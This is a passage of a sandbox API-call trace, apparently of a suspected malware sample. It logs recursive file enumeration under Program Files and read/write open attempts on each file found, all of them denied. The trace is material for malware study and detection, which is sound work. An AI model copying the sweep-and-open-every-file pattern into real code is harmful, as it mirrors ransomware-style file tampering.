ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.941] GetProcessHeap () returned 0x2ef0000 [0190.941] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.941] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.941] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0190.941] GetProcessHeap () returned 0x2ef0000 [0190.941] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x268) returned 0x2f14588 [0190.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.941] GetLastError () returned 0x5 [0190.941] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0190.942] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.942] GetProcessHeap () returned 0x2ef0000 [0190.942] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.942] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0190.942] GetProcessHeap () returned 0x2ef0000 [0190.942] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x66) returned 0x2f123a0 [0190.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.944] GetProcessHeap () returned 0x2ef0000 [0190.944] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.944] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.944] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0190.944] GetProcessHeap () returned 0x2ef0000 [0190.944] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x268) returned 0x2f14588 [0190.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.945] GetLastError () returned 0x5 [0190.945] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0190.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.945] GetLastError () returned 0x5 [0190.945] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0190.945] GetProcessHeap () returned 0x2ef0000 [0190.945] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x72) returned 0x2f09d00 [0190.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.947] GetProcessHeap () returned 0x2ef0000 [0190.947] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0190.947] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.947] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0190.947] GetProcessHeap () returned 0x2ef0000 [0190.947] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x274) returned 0x2f11d10 [0190.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.948] GetLastError () returned 0x5 [0190.948] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0190.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.949] GetLastError () returned 0x5 [0190.949] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0190.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.949] GetLastError () returned 0x5 [0190.949] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0190.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.950] GetLastError () returned 0x5 [0190.950] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0190.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.950] GetLastError () returned 0x5 [0190.950] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0190.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.950] GetLastError () returned 0x5 [0190.950] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0190.950] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.952] GetProcessHeap () returned 0x2ef0000 [0190.952] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.952] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0190.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.953] GetLastError () returned 0x5 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0190.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.953] GetLastError () returned 0x5 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0190.954] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0190.954] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.954] GetProcessHeap () returned 0x2ef0000 [0190.954] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.954] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, 